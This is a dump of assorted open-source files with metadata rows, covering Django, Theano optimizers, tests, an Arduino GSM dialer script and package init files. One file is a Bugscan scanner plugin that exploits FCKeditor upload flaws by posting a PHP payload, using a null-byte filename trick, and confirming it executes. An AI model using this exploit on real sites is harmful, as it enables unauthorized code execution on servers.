
355a282e8d4e91e343eef28aaa9b1214b03d3399

[ "MIT" ]

null

from django.contrib import admin from .models import Exam, GradeItem, GradedItemInReport, Report, Section admin.site.register(Exam) admin.site.register(Section) admin.site.register(GradeItem) admin.site.register(Report) admin.site.register(GradedItemInReport)

26.2

72

0.828244

33

262

6.575758

0.393939

0.207373

0.391705

0.221198

0

0.072519

262

9

73

29.111111

0.893004

0

1

0

true

0

0.285714

0

0.285714

0

null

1

0

1

0

null

0

1

0

5

93e6404afdfd81ed3ef4a714c26fb94e92aabc10

1,160

py

Python

tests/kyu_5_tests/test_first_non_repeating_letter.py

the-zebulan/CodeWars

1eafd1247d60955a5dfb63e4882e8ce86019f43a

[ "MIT" ]

40

2016-03-09T12:26:20.000Z

2022-03-23T08:44:51.000Z

tests/kyu_5_tests/test_first_non_repeating_letter.py

akalynych/CodeWars

1eafd1247d60955a5dfb63e4882e8ce86019f43a

[ "MIT" ]

null

tests/kyu_5_tests/test_first_non_repeating_letter.py

akalynych/CodeWars

1eafd1247d60955a5dfb63e4882e8ce86019f43a

[ "MIT" ]

36

2016-11-07T19:59:58.000Z

2022-03-31T11:18:27.000Z

import unittest from katas.kyu_5.first_non_repeating_letter import first_non_repeating_letter class FirstNonRepeatingLetterTestCase(unittest.TestCase): def test_equal_1(self): self.assertEqual(first_non_repeating_letter('a'), 'a') def test_equal_2(self): self.assertEqual(first_non_repeating_letter('stress'), 't') def test_equal_3(self): self.assertEqual(first_non_repeating_letter('moonmen'), 'e') def test_equal_4(self): self.assertEqual(first_non_repeating_letter(''), '') def test_equal_5(self): self.assertEqual(first_non_repeating_letter('abba'), '') def test_equal_6(self): self.assertEqual(first_non_repeating_letter('aa'), '') def test_equal_7(self): self.assertEqual(first_non_repeating_letter('~><#~><'), '#') def test_equal_8(self): self.assertEqual(first_non_repeating_letter('hello world, eh?'), 'w') def test_equal_9(self): self.assertEqual(first_non_repeating_letter('sTreSS'), 'T') def test_equal_10(self): self.assertEqual(first_non_repeating_letter( "Go hang a salami, I'm a lasagna hog!"), ',')

31.351351

77

0.696552

152

1,160

4.940789

0.296053

0.12783

0.271638

0.36751

0.641811

0.306258

0

0.012526

0.174138

1,160

36

78

32.222222

0.771399

0

0.07931

0

0.416667

1

0.416667

false

0

0.083333

0

0.541667

0

null

0

1

0

null

0

1

0

1

0

1

0

5

9e2596f4630fe515b69ec4571a687fcdc8183237

5,688

py

Python

thumt/optimizer.py

vicapple22/THUMT

c852da224e4c99f5312ba6e0b9a68c2575923fb7

[ "BSD-3-Clause" ]

1

2021-04-21T05:30:06.000Z

thumt/optimizer.py

liyc7711/THUMT

c852da224e4c99f5312ba6e0b9a68c2575923fb7

[ "BSD-3-Clause" ]

null

thumt/optimizer.py

liyc7711/THUMT

c852da224e4c99f5312ba6e0b9a68c2575923fb7

[ "BSD-3-Clause" ]

1

2017-08-31T08:25:15.000Z

import numpy import theano import theano.tensor as tensor from theano.sandbox.rng_mrg import MRG_RandomStreams as RandomStreams import tools class optimizer(object): ''' The parent class of SGD algorithms ''' def __init__(self): pass class adadelta(optimizer): def __init__(self, config, params): self.config = config self.params = params self.gc = [tools.init_zeros(p.get_value().shape) for p in params] self.g2 = [tools.init_zeros(p.get_value().shape) for p in params] self.u2 = [tools.init_zeros(p.get_value().shape) for p in params] def build(self, cost, inp): grads_noclip = tensor.grad(cost, self.params) grads, grad_norm = tools.clip(grads_noclip, self.config['clip'], params = self.params) gc_up = [(gc, gr) for gc, gr in zip(self.gc, grads)] g2_up = [(g2, self.config['rho'] * g2 + (1. - self.config['rho']) * (gr ** 2.)) for g2, gr in zip(self.g2, grads)] #noclip = theano.function(inp, [cost]+grads_noclip) #noupdate_grads = theano.function(inp, [cost, grad_norm]) update_grads = theano.function(inp, [cost, grad_norm], updates = gc_up + g2_up) delta = [tensor.sqrt(u2 + self.config['epsilon']) / tensor.sqrt(g2 + self.config['epsilon']) * gr for g2, u2, gr in zip(self.g2, self.u2, self.gc)] u2_up = [(u2, self.config['rho'] * u2 + (1. - self.config['rho']) * (d ** 2.)) for u2, d in zip(self.u2, delta)] param_up = [(p, p - d) for p, d in zip(self.params, delta)] #update_params = theano.function([], [], updates=param_up+u2_up) update_params = theano.function([], [], updates = param_up + u2_up) return update_grads, update_params class adam(optimizer): def __init__(self, config, params): self.config = config self.params = params self.gc = [tools.init_zeros(p.get_value().shape) for p in params] self.m = [tools.init_zeros(p.get_value().shape) for p in params] self.v = [tools.init_zeros(p.get_value().shape) for p in params] self.beta1t = theano.shared(numpy.float32(config['beta1_adam'])) self.beta2t = theano.shared(numpy.float32(config['beta2_adam'])) def build(self, cost, inp): grads_noclip = tensor.grad(cost, self.params) grads, grad_norm = tools.clip(grads_noclip, self.config['clip'], params=self.params) update_ab = [(self.beta1t, self.beta1t * self.config['beta1_adam']), (self.beta2t, self.beta2t * self.config['beta2_adam'])] update_gc = [(gc, gr) for gc, gr in zip(self.gc, grads)] update_gc = [(gc, gr) for gc, gr in zip(self.gc, grads)] m_up = [(m, self.config['beta1_adam'] * m + (1. - self.config['beta1_adam']) * gr) for m, gr in zip(self.m, grads)] v_up = [(v, self.config['beta2_adam'] * v + (1. - self.config['beta2_adam']) * (gr ** 2)) for v, gr in zip(self.v, grads)] update_grads = theano.function(inp, [cost, grad_norm], updates=update_gc + m_up + v_up) param_up = [(p, p - self.config['alpha_adam'] * (m / (1. - self.beta1t)) / (tensor.sqrt(v / (1. - self.beta2t)) + self.config['eps_adam'])) for p, m, v in zip(self.params, self.m, self.v)] update_params = theano.function([],[], updates = update_ab + param_up) return update_grads, update_params class adam_slowstart(optimizer): ''' Adam with lowered learning rate at the beginning ''' def __init__(self, config, params): self.config = config self.params = params self.gc = [tools.init_zeros(p.get_value().shape) for p in params] self.m = [tools.init_zeros(p.get_value().shape) for p in params] self.v = [tools.init_zeros(p.get_value().shape) for p in params] self.beta1t = theano.shared(numpy.float32(config['beta1_adam'])) self.beta2t = theano.shared(numpy.float32(config['beta2_adam'])) self.alphadecayt = theano.shared(numpy.float32(config['alphadecay_adam'])) def build(self, cost, inp): grads_noclip = tensor.grad(cost, self.params) grads, grad_norm = tools.clip(grads_noclip, self.config['clip'], params=self.params) update_ab = [(self.beta1t, self.beta1t * self.config['beta1_adam']), (self.beta2t, self.beta2t * self.config['beta2_adam']), (self.alphadecayt, self.alphadecayt * self.config['alphadecay_adam'])] update_gc = [(gc, gr) for gc, gr in zip(self.gc, grads)] update_gc = [(gc, gr) for gc, gr in zip(self.gc, grads)] m_up = [(m, self.config['beta1_adam'] * m + (1. - self.config['beta1_adam']) * gr) for m, gr in zip(self.m, grads)] v_up = [(v, self.config['beta2_adam'] * v + (1. - self.config['beta2_adam']) * (gr ** 2)) for v, gr in zip(self.v, grads)] update_grads = theano.function(inp, [cost, grad_norm], updates=update_gc + m_up + v_up) self.alphat = (1.0 - self.alphadecayt) * self.config['alpha_adam'] param_up = [(p, p - self.alphat * (m / (1. - self.beta1t)) / (tensor.sqrt(v / (1. - self.beta2t)) + self.config['eps_adam'])) for p, m, v in zip(self.params, self.m, self.v)] update_params = theano.function([],[], updates = update_ab + param_up) return update_grads, update_params class SGD(optimizer): ''' SGD with fixed learning rate ''' def __init__(self, config, params): self.config = config self.params = params self.gc = [tools.init_zeros(p.get_value().shape) for p in params] def build(self, cost, inp): grads_noclip = tensor.grad(cost, self.params) grads, grad_norm = tools.clip(grads_noclip, self.config['clip'], square = False, params = self.params) gc_up = [(gc, gr) for gc, gr in zip(self.gc, grads)] update_grads = theano.function(inp, [cost, tensor.sqrt(grad_norm)], updates = gc_up) lr = numpy.float32(self.config['lr']) delta = [-lr * gr for gr in self.gc] params_up = [(p, p - lr * gr) for p, gr in zip(self.params, self.gc)] update_params = theano.function([], [], updates = params_up) return update_grads, update_params

44.093023

190

0.674226

907

5,688

4.077178

0.095921

0.09735

0.041374

0.03867

0.788805

0.738237

0.729854

0.713629

0.702272

0.665765

0

0.016854

0.155063

5,688

128

191

44.4375

0.752601

0.049578

0

0.591398

0

0.050279

0

1

0.096774

false

0.010753

0.053763

0

0.247312

0

null

0

1

0

null

0

5

f5080bd3547014da411f79d2e475276ccb5dff45

142

py

Python

deep_table/nn/encoders/embedding/__init__.py

pfnet-research/deep-table

a19c0c3048484017d5f24806604c3b3470bcf550

[ "MIT" ]

48

2021-09-30T08:14:26.000Z

2022-03-02T12:20:08.000Z

deep_table/nn/encoders/embedding/__init__.py

pfnet-research/deep-table

a19c0c3048484017d5f24806604c3b3470bcf550

[ "MIT" ]

1

2021-11-08T11:41:49.000Z

deep_table/nn/encoders/embedding/__init__.py

pfnet-research/deep-table

a19c0c3048484017d5f24806604c3b3470bcf550

[ "MIT" ]

2

2021-12-31T03:43:48.000Z

2022-03-11T09:04:21.000Z

from .base import BaseEmbedding from .feature_embedding import FeatureEmbedding from .tabtransformer_embedding import TabTransformerEmbedding

35.5

61

0.894366

14

142

8.928571

0.642857

0.24

0

0.084507

142

3

62

47.333333

0.961538

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

5

1921c70f55e083642037e8729681c92631e89aef

134

py

Python

hyppo/__init__.py

RebeccaYin7/hyppo

fc01775d2253930e095032efd051373148dce58f

[ "Apache-2.0" ]

null

hyppo/__init__.py

RebeccaYin7/hyppo

fc01775d2253930e095032efd051373148dce58f

[ "Apache-2.0" ]

null

hyppo/__init__.py

RebeccaYin7/hyppo

fc01775d2253930e095032efd051373148dce58f

[ "Apache-2.0" ]

null

import hyppo.independence import hyppo.ksample import hyppo.time_series import hyppo.sims import hyppo.discrim __version__ = "0.1.3"

16.75

25

0.820896

20

134

5.25

0.6

0.52381

0

0.025

0.104478

134

7

26

19.142857

0.85

0

0.037313

0

1

0

false

0

0.833333

0

0.833333

0

1

0

null

1

0

1

0

null

0

1

0

1

0

5

193150810a1857d730a24cd7db5a4c5f031e19ad

110

py

Python

src/api/v1/solutions/__init__.py

BuildForSDG/Team-115-Product

8e7c56c9a7b97970ba5ee4375928be5b28988b0b

[ "MIT" ]

null

src/api/v1/solutions/__init__.py

BuildForSDG/Team-115-Product

8e7c56c9a7b97970ba5ee4375928be5b28988b0b

[ "MIT" ]

17

2020-05-11T00:30:33.000Z

2020-06-14T13:02:44.000Z

src/api/v1/solutions/__init__.py

BuildForSDG/Team-115-Product

8e7c56c9a7b97970ba5ee4375928be5b28988b0b

[ "MIT" ]

1

2020-05-02T19:09:19.000Z

"""Register solutions blueprint.""" from flask import Blueprint solutions = Blueprint('solutions', __name__)

22

44

0.772727

11

110

7.363636

0.636364

0.444444

0

0.109091

110

4

45

27.5

0.826531

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0.12

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1

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0.5

0

0.5

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null

1

0

1

0

null

0

1

0

1

0

5

194c9e95194fde7726fd75f06fef6fb0888c0e9b

2,935

py

Python

arduino/main.py

ManasUniyal/Friday

6e1ff6541cca98f073e3fd07218b22da165a613b

[ "MIT" ]

1

2021-03-01T11:25:32.000Z

arduino/main.py

ManasUniyal/Friday

6e1ff6541cca98f073e3fd07218b22da165a613b

[ "MIT" ]

null

arduino/main.py

ManasUniyal/Friday

6e1ff6541cca98f073e3fd07218b22da165a613b

[ "MIT" ]

null

import sys if len(sys.argv) <= 1: print("Not Enough Arguments") exit() string = """#include <SoftwareSerial.h> void(* resetFunc) (void) = 0; SoftwareSerial mySerial(9, 10); // RX, TX void setup() { mySerial.begin(9600); // the GPRS baud rate Serial.begin(9600); // the GPRS baud rate delay(2000); } void loop() { String number; int count=0; if(Serial.available()>0) { if(Serial.readString()=="call") { // resetFunc(); } else if(Serial.available()>0) { number=Serial.readString(); } Serial.println(number); mySerial.println("ATD9057261430;"); // xxxxxxxxx is the number you want to dial, Noice the ";" in the end delay(2000); while(1) { mySerial.println("AT+SPWM=2,63,100");// set PWM 2 PIN delay(100); mySerial.println("AT+SPWM=1,63,100"); delay(100); mySerial.println("AT+SGPIO=0,1,1,1");// set GPIO 1 PIN to 1 delay(100); mySerial.println("AT+SGPIO=0,2,1,1"); delay(100); mySerial.println("AT+SGPIO=0,3,1,1"); delay(100); mySerial.println("AT+SGPIO=0,4,1,1"); delay(100); mySerial.println("AT+SGPIO=0,5,1,1"); delay(100); mySerial.println("AT+SGPIO=0,6,1,1"); delay(100); mySerial.println("AT+SGPIO=0,7,1,1"); delay(100); mySerial.println("AT+SGPIO=0,8,1,1"); delay(100); mySerial.println("AT+SGPIO=0,9,1,1"); delay(100); mySerial.println("AT+SGPIO=0,10,1,1"); delay(100); mySerial.println("AT+SGPIO=0,11,1,1"); delay(100); mySerial.println("AT+SGPIO=0,12,1,1"); delay(500); mySerial.println("AT+SPWM=1,63,0"); delay(100); mySerial.println("AT+SPWM=2,63,0"); delay(100); mySerial.println("AT+SGPIO=0,1,1,0"); // set GPIO 1 PIN to 0 delay(100); mySerial.println("AT+SGPIO=0,2,1,0"); delay(100); mySerial.println("AT+SGPIO=0,3,1,0"); delay(100); mySerial.println("AT+SGPIO=0,4,1,0"); delay(100); mySerial.println("AT+SGPIO=0,5,1,0"); delay(100); mySerial.println("AT+SGPIO=0,6,1,0"); delay(100); mySerial.println("AT+SGPIO=0,7,1,0"); delay(100); mySerial.println("AT+SGPIO=0,8,1,0"); delay(100); mySerial.println("AT+SGPIO=0,9,1,0"); delay(100); mySerial.println("AT+SGPIO=0,10,1,0"); delay(100); mySerial.println("AT+SGPIO=0,11,1,0"); delay(100); mySerial.println("AT+SGPIO=0,12,1,0"); delay(500); count++; if(count==25) { mySerial.println("ATH"); //end the call. if(mySerial.available()) { Serial.print((unsigned char)mySerial.read()); } } } }}""" string = string.replace('9057261430',sys.argv[1],1) f = open("program.nso","w") f.write(string)

27.175926

107

0.543441

418

2,935

3.815789

0.203349

0.282132

0.298433

0.374922

0.631975

0.615674

0.533542

0.514734

0.512853

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0.119816

0.260647

2,935

108

27.175926

0.615207

0

0.29703

0

0.029703

0.94891

0.449251

0

1

0

false

0

0.009901

0

0.009901

0.326733

0

null

1

0

1

null

0

5

1976b06b42d75a8ce5ff788a6f32da428aee18bd

106

py

Python

app/recognition/haarcascade.py

RafaelGSS/PyCamClass

fbf4f5e9332fe4b8d4d0e17de2fe1025cd77b1cf

[ "Apache-2.0" ]

1

2018-07-19T05:41:02.000Z

app/recognition/haarcascade.py

RafaelGSS/PyCam

fbf4f5e9332fe4b8d4d0e17de2fe1025cd77b1cf

[ "Apache-2.0" ]

null

app/recognition/haarcascade.py

RafaelGSS/PyCam

fbf4f5e9332fe4b8d4d0e17de2fe1025cd77b1cf

[ "Apache-2.0" ]

null

frontal_face = 'cascades/haarcascade_frontalface_default.xml' eye_cascade = 'cascades/haarcascade_eye.xml'

53

61

0.858491

13

106

6.615385

0.692308

0.44186

0

0.04717

106

2

62

53

0.851485

0

0.672897

0

1

0

false

0

1

0

null

1

0

1

0

1

null

0

5

1990e00b31ee1a928a7eb19a93676bf21eb4e56f

2,847

py

Python

src/saleor_app/tests/test_install.py

mstrumeck/saleor-app-framework-python

edaae7c35d5e4e80e98c50795c3a63d906998834

[ "BSD-3-Clause" ]

null

src/saleor_app/tests/test_install.py

mstrumeck/saleor-app-framework-python

edaae7c35d5e4e80e98c50795c3a63d906998834

[ "BSD-3-Clause" ]

null

src/saleor_app/tests/test_install.py

mstrumeck/saleor-app-framework-python

edaae7c35d5e4e80e98c50795c3a63d906998834

[ "BSD-3-Clause" ]

null

from unittest.mock import AsyncMock from saleor_app.install import install_app from saleor_app.saleor.client import SaleorClient from saleor_app.saleor.mutations import CREATE_WEBHOOK from saleor_app.schemas.core import WebhookData async def test_install_app(mocker, manifest): mock_saleor_client = AsyncMock(SaleorClient) mock_saleor_client.__aenter__.return_value.execute.return_value = { "webhookCreate": {"webhook": {"id": "123"}} } mock_get_client_for_app = mocker.patch( "saleor_app.install.get_client_for_app", return_value=mock_saleor_client ) mocker.patch("saleor_app.install.secrets.choice", return_value="A") assert ( await install_app( saleor_domain="saleor_domain", auth_token="test_token", manifest=manifest, events={"queue_1": ["TEST_EVENT_1"], "url_1": ["TEST_EVENT_2"]}, use_insecure_saleor_http=True, ) == WebhookData(webhook_id="123", webhook_secret_key="A" * 20) ) mock_get_client_for_app.assert_called_once_with( "http://saleor_domain", manifest=manifest, auth_token="test_token" ) assert mock_saleor_client.__aenter__.return_value.execute.call_count == 2 mock_saleor_client.__aenter__.return_value.execute.assert_any_await( CREATE_WEBHOOK, variables={ "input": { "targetUrl": "queue_1", "events": ["TEST_EVENT_1"], "name": f"{manifest.name}", "secretKey": "A" * 20, } }, ) mock_saleor_client.__aenter__.return_value.execute.assert_any_await( CREATE_WEBHOOK, variables={ "input": { "targetUrl": "url_1", "events": ["TEST_EVENT_2"], "name": f"{manifest.name}", "secretKey": "A" * 20, } }, ) async def test_install_app_secure_https(mocker, manifest): mock_saleor_client = AsyncMock(SaleorClient) mock_saleor_client.__aenter__.return_value.execute.return_value = { "webhookCreate": {"webhook": {"id": "123"}} } mock_get_client_for_app = mocker.patch( "saleor_app.install.get_client_for_app", return_value=mock_saleor_client ) mocker.patch("saleor_app.install.secrets.choice", return_value="A") assert ( await install_app( saleor_domain="saleor_domain", auth_token="test_token", manifest=manifest, events={"queue_1": ["TEST_EVENT_1"], "url_1": ["TEST_EVENT_2"]}, use_insecure_saleor_http=False, ) == WebhookData(webhook_id="123", webhook_secret_key="A" * 20) ) mock_get_client_for_app.assert_called_once_with( "https://saleor_domain", manifest=manifest, auth_token="test_token" )

34.301205

80

0.636811

325

2,847

5.129231

0.206154

0.072585

0.086383

0.053989

0.829034

0.802639

0.743851

0.688662

0

0.015399

0.247278

2,847

82

81

34.719512

0.762483

0

0.555556

0

0.18019

0.049175

0

0.097222

1

0

false

0

0.069444

0

0.069444

0

null

0

1

0

1

0

null

0

5

199656b309cc2aa3d14ad1028a049937680254be

241

py

Python

Scripts/square.py

annelida/stuff

699d0230d5329a5eaebc8c93f9fba3c53920925f

[ "MIT" ]

null

Scripts/square.py

annelida/stuff

699d0230d5329a5eaebc8c93f9fba3c53920925f

[ "MIT" ]

2

2021-06-01T21:52:33.000Z

2021-12-13T19:44:00.000Z

Scripts/square.py

annelida/stuff

699d0230d5329a5eaebc8c93f9fba3c53920925f

[ "MIT" ]

1

2015-10-14T12:16:07.000Z

def square(x): """Return the square of x. >>> square(2) 4 >>> square(-2) 4 >>> square(2.0) 4 >>> square(-2.0) 4 >>> square(1j) (-1 + 0j) >>> square('2') TypeError """ return x * x

13.388889

30

0.40249

32

241

3.03125

0.40625

0.360825

0.247423

0.28866

0.412371

0.257732

0

0.094595

0.385892

241

17

31

14.176471

0.560811

0.60166

0

1

0.5

false

0

1

0

null

1

0

null

0

1

0

1

0

5

5fdb8e291b2a045677654ef5d42d7ed80bfa259a

74

py

Python

model/model_token.py

tobiasaditya/transaction-service

84e9739c4bcb5a17a0faa866e46d6f19e16dddcb

[ "MIT" ]

null

model/model_token.py

tobiasaditya/transaction-service

84e9739c4bcb5a17a0faa866e46d6f19e16dddcb

[ "MIT" ]

null

model/model_token.py

tobiasaditya/transaction-service

84e9739c4bcb5a17a0faa866e46d6f19e16dddcb

[ "MIT" ]

null

from pydantic import BaseModel class TokenData(BaseModel): userId:str

18.5

30

0.797297

9

74

6.555556

0.888889

0

0.148649

74

4

31

18.5

0.936508

0

1

0

true

0

0.333333

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

5

5ff3daba2a50ab0df88411e96b7ccdf2abffece5

2,668

py

Python

Bugscan_exploits-master/exp_list/exp－133.py

csadsl/poc_exp

e3146262e7403f19f49ee2db56338fa3f8e119c9

[ "MIT" ]

11

2020-05-30T13:53:49.000Z

2021-03-17T03:20:59.000Z

Bugscan_exploits-master/exp_list/exp－133.py

csadsl/poc_exp

e3146262e7403f19f49ee2db56338fa3f8e119c9

[ "MIT" ]

6

2020-05-13T03:25:18.000Z

2020-07-21T06:24:16.000Z

Bugscan_exploits-master/exp_list/exp－133.py

csadsl/poc_exp

e3146262e7403f19f49ee2db56338fa3f8e119c9

[ "MIT" ]

6

2020-05-30T13:53:51.000Z

2020-12-01T21:44:26.000Z

#!/usr/bin/env python # -*- coding: utf-8 -*- #__author__ = 'ontheway' import re ''' fckeditor版本 <= 2.4.3 ''' def fck2_4_3(host): path = "editor/filemanager/upload/php/upload.php?Type=Media" data = "------WebKitFormBoundaryba3nn74V35zAYnAT\r\n" data += "Content-Disposition: form-data; name=\"NewFile\"; filename=\"ssdlh.php\"\r\n" data += "Content-Type: image/jpeg\r\n\r\n" data += "GIF89a<?php print(md5(521521));?>\r\n" data += "------WebKitFormBoundaryba3nn74V35zAYnAT--\r\n" head = "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryba3nn74V35zAYnAT\r\n" url = host + path code, head, body, ecode, redirect_url = curl.curl('-H \'%s\' -d \'%s\' %s' % (head,data,url)) if code == 200: shell = re.findall("eted\(\d+,\"(.+?.php)\"",body) if shell: phpurl = util.urljoin(host, '../'+shell[0]) code, head, body, ecode, redirect_url = curl.curl(phpurl) if code==200 and '35fd19fbe470f0cb5581884fa700610f' in body: security_hole('upload vulnerable:%s' % phpurl) else: security_info('maybe vulnerable:%s' % phpurl) ''' fckeditor 版本介于2.4.3与2.6.4之间（不包括2.4.3） ''' def fck2_6_4(host): path = "editor/filemanager/connectors/php/connector.php?Command=FileUpload&Type=File&CurrentFolder=ssdlh.php%00.jpg" data = "------WebKitFormBoundaryba3nn74V35zAYnAT\r\n" data += "Content-Disposition: form-data; name=\"NewFile\"; filename=\"a.jpg\"\r\n" data += "Content-Type: image/jpeg\r\n\r\n" data += "GIF89a<?php print(md5(521521));?>\r\n" data += "------WebKitFormBoundaryba3nn74V35zAYnAT--\r\n" head = "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryba3nn74V35zAYnAT\r\n" url = host + path code, head, body, ecode, redirect_url = curl.curl('-H \'%s\' -d \'%s\' %s' % (head,data,url)) if code == 200: shell = re.findall("eted\(\d+,\"(.+?\.php)",body) if shell: phpurl = util.urljoin(host, '../'+shell[0]) code, head, body, ecode, redirect_url = curl.curl(phpurl) if code==200 and '35fd19fbe470f0cb5581884fa700610f' in body: security_hole('upload vulnerable:%s' % phpurl) else: security_info('maybe vulnerable:%s' % phpurl) def assign(service, arg): if service == "fckeditor": return True, arg def audit(arg): fck2_4_3(arg) fck2_6_4(arg) if __name__ == '__main__': from dummy import * audit(assign('fckeditor', 'http://127.0.0.1/fckeditor2.6/')[1])

39.235294

121

0.587706

324

2,668

4.753086

0.311728

0.018182

0.031169

0.103896

0.728571

0

0.068127

0.22976

2,668

67

122

39.820896

0.681265

0.024363

0

0.625

0

0.020833

0.409109

0.225295

0

1

0.083333

false

0

0.041667

0

0.145833

0.041667

0

null

0

1

0

null

0

5

271ed456f083759b7d89417c01c3723fc86cb460

3,216

py

Python

exercises/exercise1.py

mholdg16/DistributedExercisesAAU

04e9a7e88f3eb19aa05b5d0da241b027facee390

[ "MIT" ]

null

exercises/exercise1.py

mholdg16/DistributedExercisesAAU

04e9a7e88f3eb19aa05b5d0da241b027facee390

[ "MIT" ]

null

exercises/exercise1.py

mholdg16/DistributedExercisesAAU

04e9a7e88f3eb19aa05b5d0da241b027facee390

[ "MIT" ]

null

import random import time from emulators.Device import Device from emulators.Medium import Medium from emulators.MessageStub import MessageStub class GossipMessage(MessageStub): def __init__(self, sender: int, destination: int, secrets): super().__init__(sender, destination) # we use a set to keep the "secrets" here self.secrets = secrets def __str__(self): return f'{self.source} -> {self.destination} : {self.secrets}' class Gossip(Device): def __init__(self, index: int, number_of_devices: int, medium: Medium): super().__init__(index, number_of_devices, medium) # for this exercise we use the index as the "secret", but it could have been a new routing-table (for instance) # or sharing of all the public keys in a cryptographic system self._secrets = set([index]) def run(self): while True: # choose a random receiver (that is not self) p = self.index() while p == self.index(): p = random.randint(0, self.number_of_devices() - 1) while True: ingoing = self.medium().receive() if ingoing is None: break # join the received secrets with known secrets self._secrets.update(ingoing.secrets) self.medium().send(GossipMessage(self.index(), p, self._secrets)) # the following is your termination condition, but where should it be placed? if len(self._secrets) == self.number_of_devices(): break # wait ~[0,1] seconds to avoid livelock time.sleep(random.random()) def print_result(self): print(f'\tDevice {self.index()} got secrets: {self._secrets}') class GossipCircular(Device): def __init__(self, index: int, number_of_devices: int, medium: Medium): super().__init__(index, number_of_devices, medium) # for this exercise we use the index as the "secret", but it could have been a new routing-table (for instance) # or sharing of all the public keys in a cryptographic system self._secrets = set([index]) def run(self): while True: # choose receiver (left or right) if random.randint(0,1) == 1: p = (self.index() + 1) % self.number_of_devices() else: p = (self.index() - 1) % self.number_of_devices() while True: ingoing = self.medium().receive() if ingoing is None: break # join the received secrets with known secrets self._secrets.update(ingoing.secrets) self.medium().send(GossipMessage(self.index(), p, self._secrets)) # the following is your termination condition, but where should it be placed? if len(self._secrets) == self.number_of_devices(): break # wait ~[0,1] seconds to avoid livelock time.sleep(random.random()) def print_result(self): print(f'\tDevice {self.index()} got secrets: {self._secrets}')

34.212766

119

0.589552

387

3,216

4.749354

0.263566

0.071817

0.073449

0.051687

0.738847

0.706202

0

0.004989

0.314366

3,216

94

120

34.212766

0.828571

0.240361

0

0.615385

0

0.064198

0

1

0.153846

false

0

0.096154

0.019231

0.326923

0.076923

0

null

0

1

0

null

0

5

273aaee7d73b65d85187ee474b0f7189268e7e51

122

py

Python

src/httpmon_kafka_pgsql/__init__.py

JonathanThorpe/httpmon_kafka_pgsql

b11b6fad2918e47c601b1af441029441258df482

[ "MIT" ]

null

src/httpmon_kafka_pgsql/__init__.py

JonathanThorpe/httpmon_kafka_pgsql

b11b6fad2918e47c601b1af441029441258df482

[ "MIT" ]

null

src/httpmon_kafka_pgsql/__init__.py

JonathanThorpe/httpmon_kafka_pgsql

b11b6fad2918e47c601b1af441029441258df482

[ "MIT" ]

null

#Package for the httpmon_kafka_pgsql application. from .__version__ import __version__ from .__main__ import main as main

30.5

49

0.844262

17

122

5.235294

0.705882

0

0.122951

122

3

50

40.666667

0.831776

0.393443

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

5

273f0b096d7774648729c29000ab81166dc75d86

251

py

Python

models/__init__.py

fshp971/BIF

015f142ed293bfb73d0176c1f303c1543fb8fe86

[ "MIT" ]

13

2021-01-19T04:31:30.000Z

2022-02-11T07:40:40.000Z

models/__init__.py

FengxiangHe/BIF

2d6e997105742f235c55c396d3b6ccdac6dbfda5

[ "MIT" ]

null

models/__init__.py

FengxiangHe/BIF

2d6e997105742f235c55c396d3b6ccdac6dbfda5

[ "MIT" ]

2

2021-01-19T04:31:31.000Z

2021-05-18T08:43:27.000Z

''' for GMM simulation ''' from .gmm import VariationalGMM from .gmm import GMM ''' for deep learning ''' from .normal_models import normalMLP from .normal_models import normalLeNet from .mcmc_models import mcmcMLP from .mcmc_models import mcmcLeNet

25.1

38

0.788845

34

251

5.705882

0.441176

0.247423

0.134021

0.226804

0

0.139442

251

10

39

25.1

0.898148

0.071713

0

1

0

true

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

5

27a70d9ab32abf58139c54418a2f17a7219775f4

55

py

Python

NYPC2019/Day_2/waterpipe.py

M4ndU/algorithm_task

3ad5c3fd311d0251260249ae2cf9d8bb36e42130

[ "MIT" ]

null

NYPC2019/Day_2/waterpipe.py

M4ndU/algorithm_task

3ad5c3fd311d0251260249ae2cf9d8bb36e42130

[ "MIT" ]

null

NYPC2019/Day_2/waterpipe.py

M4ndU/algorithm_task

3ad5c3fd311d0251260249ae2cf9d8bb36e42130

[ "MIT" ]

null

''' 어렵다. 그냥 찍자. ''' print("1") #10 print("4") #10

9.166667

15

0.418182

9

55

2.555556

0.777778

0

0.146341

0.254545

55

5

16

11

0.414634

0.290909

0

0.08

0

1

0

true

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

5

27bfddc75c7ff8a97f1c5403e29aa15bceaee6d2

28

py

Python

src/pypi-test-amdukhan/pypi_example.py

terminal-illness/pypi-test

cd2554227165e3ed97b1bb9c38cb30c7f8fa84f0

[ "MIT" ]

null

src/pypi-test-amdukhan/pypi_example.py

terminal-illness/pypi-test

cd2554227165e3ed97b1bb9c38cb30c7f8fa84f0

[ "MIT" ]

null

src/pypi-test-amdukhan/pypi_example.py

terminal-illness/pypi-test

cd2554227165e3ed97b1bb9c38cb30c7f8fa84f0

[ "MIT" ]

null

print(input("Enter Name: "))

28

0.678571

4

28

4.75

1

0

0.071429

28

1

28

0.730769

0

0.413793

0

1

0

true

0

1

0

null

0

1

0

null

0

1

0

1

0

5

27e406556a592432aca2515ef19e4dbc6f5fd49b

156

py

Python

message_board/users/forms.py

robalford/message_board

744f1f524ee8a60c5b799fc7a9d911818a519bf1

[ "MIT" ]

null

message_board/users/forms.py

robalford/message_board

744f1f524ee8a60c5b799fc7a9d911818a519bf1

[ "MIT" ]

null

message_board/users/forms.py

robalford/message_board

744f1f524ee8a60c5b799fc7a9d911818a519bf1

[ "MIT" ]

null

from django.forms import modelformset_factory from message_board.posts.models import Peeve PeeveFormSet = modelformset_factory(Peeve, fields=('peeve', ))

26

62

0.820513

19

156

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1

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1

0

null

0

1

0

1

0

5

8bee3666e4c6666a656a45d98642e3089f040837

196

py

Python

libreria/library/admin.py

kvothestrokes/libreria_implementacionweb

c193cd58f1b33fe65dd54ba8d8d8675df4d5abf2

[ "Apache-2.0" ]

null

libreria/library/admin.py

kvothestrokes/libreria_implementacionweb

c193cd58f1b33fe65dd54ba8d8d8675df4d5abf2

[ "Apache-2.0" ]

null

libreria/library/admin.py

kvothestrokes/libreria_implementacionweb

c193cd58f1b33fe65dd54ba8d8d8675df4d5abf2

[ "Apache-2.0" ]

null

